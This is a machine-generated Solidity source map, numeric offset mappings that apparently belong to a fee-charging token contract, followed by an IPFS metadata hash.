3:0;;;3668:6;;10224:13;;10205:32;:54;;;;-1:-1:-1;;;;;;10242:17:0;;;;;;:11;:17;;;;;;;;10241:18;10205:54;:74;;;;-1:-1:-1;;;;;;10264:15:0;;;;;;:11;:15;;;;;;;;10263:16;10205:74;10201:3196;;;10308:208;10512:3;10308:181;10372:15;;10360:9;;:27;10359:111;;10456:14;;10359:111;;;10416:12;;10359:111;10308:6;;:28;:181::i;:::-;:203;;:208::i;:::-;10296:220;;10553:10;;10537:12;:26;10533:261;;10642:14;;10626:12;10614:25;;;;:11;:25;;;;;;:42;10584:148;;;;-1:-1:-1;;;10584:148:0;;11102:2:1;10584:148:0;;;11084:21:1;;;11121:18;;;11114:30;11180:34;11160:18;;;11153:62;11232:18;;10584:148:0;10900:356:1;10584:148:0;10763:12;10751:25;;;;:11;:25;;;;;:27;;;;;;:::i;:::-;;;;;;10533:261;-1:-1:-1;;;;;10832:16:0;;;;;;:10;:16;;;;;;;;:67;;;;-1:-1:-1;10883:15:0;;-1:-1:-1;;;;;10869:30:0;;;10883:15;;10869:30;;10832:67;:100;;;;-1:-1:-1;;;;;;10921:11:0;;;;;;:7;:11;;;;;;;;10920:12;10832:100;10810:422;;;10985:12;;10975:6;:22;;10967:60;;;;-1:-1:-1;;;10967:60:0;;11603:2:1;10967:60:0;;;11585:21:1;11642:2;11622:18;;;11615:30;11681:27;11661:18;;;11654:55;11726:18;;10967:60:0;11401:349:1;10967:60:0;11102:14;;11092:6;11076:13;11086:2;-1:-1:-1;;;;;8311:18:0;8284:7;8311:18;;;:9;:18;;;;;;;8218:119;11076:13;:22;;;;:::i;:::-;:40;;11046:140;;;;-1:-1:-1;;;11046:140:0;;12087:2:1;11046:140:0;;;12069:21:1;12126:2;12106:18;;;12099:30;12165:28;12145:18;;;12138:56;12211:18;;11046:140:0;11885:350:1;11046:140:0;11205:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10810:422;-1:-1:-1;;;;;11253:14:0;;;;;;:10;:14;;;;;;;;11252:15;:31;;;;-1:-1:-1;;;;;;11272:11:0;;;;;;:7;:11;;;;;;;;11271:12;11252:31;11248:212;;;11360:14;;11350:6;11334:13;11344:2;-1:-1:-1;;;;;8311:18:0;8284:7;8311:18;;;:9;:18;;;;;;;8218:119;11334:13;:22;;;;:::i;:::-;:40;;11304:140;;;;-1:-1:-1;;;11304:140:0;;12087:2:1;11304:140:0;;;12069:21:1;12126:2;12106:18;;;12099:30;12165:28;12145:18;;;12138:56;12211:18;;11304:140:0;11885:350:1;11304:140:0;-1:-1:-1;;;;;11480:14:0;;;;;;:10;:14;;;;;;;;:39;;;;-1:-1:-1;;;;;;11498:21:0;;11514:4;11498:21;;11480:39;11476:327;;;11552:235;11783:3;11552:204;11624:16;;11612:9;;:28;11611:122;;11718:15;;11611:122;;;11673:13;;11552:6;;:32;:204::i;:235::-;11540:247;;11476:327;-1:-1:-1;;;;;11824:16:0;;;;;;:10;:16;;;;;;;;11823:17;:36;;;;-1:-1:-1;;;;;;11845:14:0;;;;;;:10;:14;;;;;;;;11844:15;11823:36;:61;;;;-1:-1:-1;;;;;;11863:21:0;;11879:4;11863:21;;11823:61;11819:115;;;-1:-1:-1;11917:1:0;11819:115;11999:4;11950:28;8311:18;;;:9;:18;;;;;;12043:6;;;;12042:7;:42;;;;-1:-1:-1;;;;;;12070:14:0;;;;;;:10;:14;;;;;;;;12042:42;:74;;;;-1:-1:-1;12105:11:0;;;;;;;12042:74;:135;;;;;12160:17;;12137:20;:40;12042:135;:186;;;;;12210:18;;12198:9;;:30;12042:186;12020:1366;;;12282:13;;12267:12;:28;12263:90;;;12332:1;12320:9;:13;12263:90;12391:13;;12379:9;;:25;12371:34;;;;;;12424:109;12463:51;12467:6;12475:38;12479:20;12501:11;;12475:3;:38::i;:::-;12463:3;:51::i;:::-;12424:16;:109::i;:::-;12581:21;12625:22;;12621:106;;12672:35;12685:21;12672:12;:35::i;:::-;12745:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;12791:12:0;12775:13;:28;-1:-1:-1;12020:1366:0;;;12848:6;;;;12847:7;:42;;;;-1:-1:-1;;;;;;12875:14:0;;;;;;:10;:14;;;;;;;;12847:42;:74;;;;-1:-1:-1;12910:11:0;;;;;;;12847:74;:135;;;;;12965:17;;12942:20;:40;12847:135;:186;;;;;13015:18;;13003:9;;:30;12847:186;12825:561;;;13068:109;13107:51;13111:6;13119:38;13123:20;13145:11;;13119:3;:38::i;13068:109::-;13225:21;13269:22;;13265:106;;13316:35;13329:21;13316:12;:35::i;:::-;13049:337;12825:561;10281:3116;10201:3196;13413:13;;13409:172;;13488:4;13470:24;;;;:9;:24;;;;;;:39;;13499:9;13470:28;:39::i;:::-;13461:4;13443:24;;;;:9;:24;;;;;;;:66;;;;13529:40;;-1:-1:-1;;;;;13529:40:0;;;;;;;13559:9;1370:25:1;;1358:2;1343:18;;1224:177;13529:40:0;;;;;;;;13409:172;13591:47;13610:4;13616:2;13620:6;13628:9;13591:18;:47::i;:::-;;9879:3767;9776:3870;;;:::o;2405:224::-;2525:7;2561:12;2553:6;;;;2545:29;;;;-1:-1:-1;;;2545:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2585:9:0;2597:5;2601:1;2597;:5;:::i;:::-;2585:17;2405:224;-1:-1:-1;;;;;2405:224:0:o;2637:246::-;2695:7;2719:1;2724;2719:6;2715:47;;-1:-1:-1;2749:1:0;2742:8;;2715:47;2772:9;2784:5;2788:1;2784;:5;:::i;:::-;2772:17;-1:-1:-1;2817:1:0;2808:5;2812:1;2772:17;2808:5;:::i;:::-;:10;2800:56;;;;-1:-1:-1;;;2800:56:0;;12797:2:1;2800:56:0;;;12779:21:1;12836:2;12816:18;;;12809:30;12875:34;12855:18;;;12848:62;-1:-1:-1;;;12926:18:1;;;12919:31;12967:19;;2800:56:0;12595:397:1;2800:56:0;2874:1;2637:246;-1:-1:-1;;;2637:246:0:o;2891:132::-;2949:7;2976:39;2980:1;2983;2976:39;;;;;;;;;;;;;;;;;:3;:39::i;14151:107::-;14208:7;14240:1;14236;:5;14235:15;;14249:1;14235:15;;;-1:-1:-1;14245:1:0;14151:107;-1:-1:-1;14151:107:0:o;14266:483::-;6940:6;:13;;-1:-1:-1;;6940:13:0;6949:4;6940:13;;;14368:16:::1;::::0;;14382:1:::1;14368:16:::0;;;;;::::1;::::0;;-1:-1:-1;;14368:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14368:16:0::1;14344:40;;14413:4;14395;14400:1;14395:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14395:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;14439:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;14439:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;14395:7;;14439:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14429:4;14434:1;14429:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14429:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;14504:15:::1;::::0;14472:62:::1;::::0;14489:4:::1;::::0;14504:15:::1;14522:11:::0;14472:8:::1;:62::i;:::-;14545:15;::::0;:196:::1;::::0;-1:-1:-1;;;14545:196:0;;-1:-1:-1;;;;;14545:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;14626:11;;14545:15:::1;::::0;14668:4;;14695::::1;::::0;14715:15:::1;::::0;14545:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6976:6:0;:14;;-1:-1:-1;;6976:14:0;;;-1:-1:-1;;;;14266:483:0:o;14757:92::-;14814:10;;:27;;-1:-1:-1;;;;;14814:10:0;;;;:27;;;;;14834:6;;14814:10;:27;:10;:27;14834:6;14814:10;:27;;;;;;;;;;;;;;;;;;;2074:179;2132:7;;2164:5;2168:1;2164;:5;:::i;:::-;2152:17;;2193:1;2188;:6;;2180:46;;;;-1:-1:-1;;;2180:46:0;;14440:2:1;2180:46:0;;;14422:21:1;14479:2;14459:18;;;14452:30;14518:29;14498:18;;;14491:57;14565:18;;2180:46:0;14238:351:1;13654:389:0;-1:-1:-1;;;;;14122:19:0;;13768:4;14122:19;;;:11;:19;;;;;;13800:6;;14122:19;;13809:41;;;-1:-1:-1;13845:1:0;13809:41;-1:-1:-1;;;;;13870:15:0;;;;;;:9;:15;;;;;;:31;;13890:10;13870:19;:31::i;:::-;-1:-1:-1;;;;;13852:15:0;;;;;;:9;:15;;;;;:49;13928:40;13946:21;:6;13957:9;13946:10;:21::i;:::-;-1:-1:-1;;;;;13928:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;13912:13:0;;;;;;;:9;:13;;;;;:56;;;;13984:41;;;14003:21;:6;14014:9;14003:10;:21::i;:::-;13984:41;;1370:25:1;;;1358:2;1343:18;13984:41:0;;;;;;;-1:-1:-1;14035:4:0;;13654:389;-1:-1:-1;;;;;13654:389:0:o;3031:223::-;3151:7;3186:12;3179:5;3171:28;;;;-1:-1:-1;;;3171:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3210:9:0;3222:5;3226:1;3222;:5;:::i;2261:136::-;2319:7;2346:43;2350:1;2353;2346:43;;;;;;;;;;;;;;;;;:3;:43::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:315::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1017:2;1002:18;;;;989:32;;-1:-1:-1;;;712:315:1:o;1406:456::-;1483:6;1491;1499;1552:2;1540:9;1531:7;1527:23;1523:32;1520:52;;;1568:1;1565;1558:12;1520:52;1607:9;1594:23;1626:31;1651:5;1626:31;:::i;:::-;1676:5;-1:-1:-1;1733:2:1;1718:18;;1705:32;1746:33;1705:32;1746:33;:::i;:::-;1406:456;;1798:7;;-1:-1:-1;;;1852:2:1;1837:18;;;;1824:32;;1406:456::o;1867:247::-;1926:6;1979:2;1967:9;1958:7;1954:23;1950:32;1947:52;;;1995:1;1992;1985:12;1947:52;2034:9;2021:23;2053:31;2078:5;2053:31;:::i;2516:127::-;2577:10;2572:3;2568:20;2565:1;2558:31;2608:4;2605:1;2598:15;2632:4;2629:1;2622:15;2648:1121;2732:6;2763:2;2806;2794:9;2785:7;2781:23;2777:32;2774:52;;;2822:1;2819;2812:12;2774:52;2862:9;2849:23;2891:18;2932:2;2924:6;2921:14;2918:34;;;2948:1;2945;2938:12;2918:34;2986:6;2975:9;2971:22;2961:32;;3031:7;3024:4;3020:2;3016:13;3012:27;3002:55;;3053:1;3050;3043:12;3002:55;3089:2;3076:16;3111:2;3107;3104:10;3101:36;;;3117:18;;:::i;:::-;3163:2;3160:1;3156:10;3195:2;3189:9;3258:2;3254:7;3249:2;3245;3241:11;3237:25;3229:6;3225:38;3313:6;3301:10;3298:22;3293:2;3281:10;3278:18;3275:46;3272:72;;;3324:18;;:::i;:::-;3360:2;3353:22;3410:18;;;3444:15;;;;-1:-1:-1;3486:11:1;;;3482:20;;;3514:19;;;3511:39;;;3546:1;3543;3536:12;3511:39;3570:11;;;;3590:148;3606:6;3601:3;3598:15;3590:148;;;3672:23;3691:3;3672:23;:::i;:::-;3660:36;;3623:12;;;;3716;;;;3590:148;;;3757:6;2648:1121;-1:-1:-1;;;;;;;;2648:1121:1:o;3774:388::-;3842:6;3850;3903:2;3891:9;3882:7;3878:23;3874:32;3871:52;;;3919:1;3916;3909:12;3871:52;3958:9;3945:23;3977:31;4002:5;3977:31;:::i;:::-;4027:5;-1:-1:-1;4084:2:1;4069:18;;4056:32;4097:33;4056:32;4097:33;:::i;:::-;4149:7;4139:17;;;3774:388;;;;;:::o;4167:356::-;4369:2;4351:21;;;4388:18;;;4381:30;4447:34;4442:2;4427:18;;4420:62;4514:2;4499:18;;4167:356::o;4528:127::-;4589:10;4584:3;4580:20;4577:1;4570:31;4620:4;4617:1;4610:15;4644:4;4641:1;4634:15;4660:416;4749:1;4786:5;4749:1;4800:270;4821:7;4811:8;4808:21;4800:270;;;4880:4;4876:1;4872:6;4868:17;4862:4;4859:27;4856:53;;;4889:18;;:::i;:::-;4939:7;4929:8;4925:22;4922:55;;;4959:16;;;;4922:55;5038:22;;;;4998:15;;;;4800:270;;;4804:3;4660:416;;;;;:::o;5081:806::-;5130:5;5160:8;5150:80;;-1:-1:-1;5201:1:1;5215:5;;5150:80;5249:4;5239:76;;-1:-1:-1;5286:1:1;5300:5;;5239:76;5331:4;5349:1;5344:59;;;;5417:1;5412:130;;;;5324:218;;5344:59;5374:1;5365:10;;5388:5;;;5412:130;5449:3;5439:8;5436:17;5433:43;;;5456:18;;:::i;:::-;-1:-1:-1;;5512:1:1;5498:16;;5527:5;;5324:218;;5626:2;5616:8;5613:16;5607:3;5601:4;5598:13;5594:36;5588:2;5578:8;5575:16;5570:2;5564:4;5561:12;5557:35;5554:77;5551:159;;;-1:-1:-1;5663:19:1;;;5695:5;;5551:159;5742:34;5767:8;5761:4;5742:34;:::i;:::-;5812:6;5808:1;5804:6;5800:19;5791:7;5788:32;5785:58;;;5823:18;;:::i;:::-;5861:20;;5081:806;-1:-1:-1;;;5081:806:1:o;5892:140::-;5950:5;5979:47;6020:4;6010:8;6006:19;6000:4;5979:47;:::i;6037:168::-;6110:9;;;6141;;6158:15;;;6152:22;;6138:37;6128:71;;6179:18;;:::i;6497:277::-;6564:6;6617:2;6605:9;6596:7;6592:23;6588:32;6585:52;;;6633:1;6630;6623:12;6585:52;6665:9;6659:16;6718:5;6711:13;6704:21;6697:5;6694:32;6684:60;;6740:1;6737;6730:12;7743:306;7831:6;7839;7847;7900:2;7888:9;7879:7;7875:23;7871:32;7868:52;;;7916:1;7913;7906:12;7868:52;7945:9;7939:16;7929:26;;7995:2;7984:9;7980:18;7974:25;7964:35;;8039:2;8028:9;8024:18;8018:25;8008:35;;7743:306;;;;;:::o;8333:127::-;8394:10;8389:3;8385:20;8382:1;8375:31;8425:4;8422:1;8415:15;8449:4;8446:1;8439:15;11261:135;11300:3;11321:17;;;11318:43;;11341:18;;:::i;:::-;-1:-1:-1;11388:1:1;11377:13;;11261:135::o;11755:125::-;11820:9;;;11841:10;;;11838:36;;;11854:18;;:::i;12240:128::-;12307:9;;;12328:11;;;12325:37;;;12342:18;;:::i;12373:217::-;12413:1;12439;12429:132;;12483:10;12478:3;12474:20;12471:1;12464:31;12518:4;12515:1;12508:15;12546:4;12543:1;12536:15;12429:132;-1:-1:-1;12575:9:1;;12373:217::o;12997:251::-;13067:6;13120:2;13108:9;13099:7;13095:23;13091:32;13088:52;;;13136:1;13133;13126:12;13088:52;13168:9;13162:16;13187:31;13212:5;13187:31;:::i;13253:980::-;13515:4;13563:3;13552:9;13548:19;13594:6;13583:9;13576:25;13620:2;13658:6;13653:2;13642:9;13638:18;13631:34;13701:3;13696:2;13685:9;13681:18;13674:31;13725:6;13760;13754:13;13791:6;13783;13776:22;13829:3;13818:9;13814:19;13807:26;;13868:2;13860:6;13856:15;13842:29;;13889:1;13899:195;13913:6;13910:1;13907:13;13899:195;;;13978:13;;-1:-1:-1;;;;;13974:39:1;13962:52;;14069:15;;;;14034:12;;;;14010:1;13928:9;13899:195;;;-1:-1:-1;;;;;;;14150:32:1;;;;14145:2;14130:18;;14123:60;-1:-1:-1;;;14214:3:1;14199:19;14192:35;14111:3;13253:980;-1:-1:-1;;;13253:980:1:o

ipfs://f22d52defe36c766104e22dc77abf287bfdf09023219cd4a27919b700ff0fab2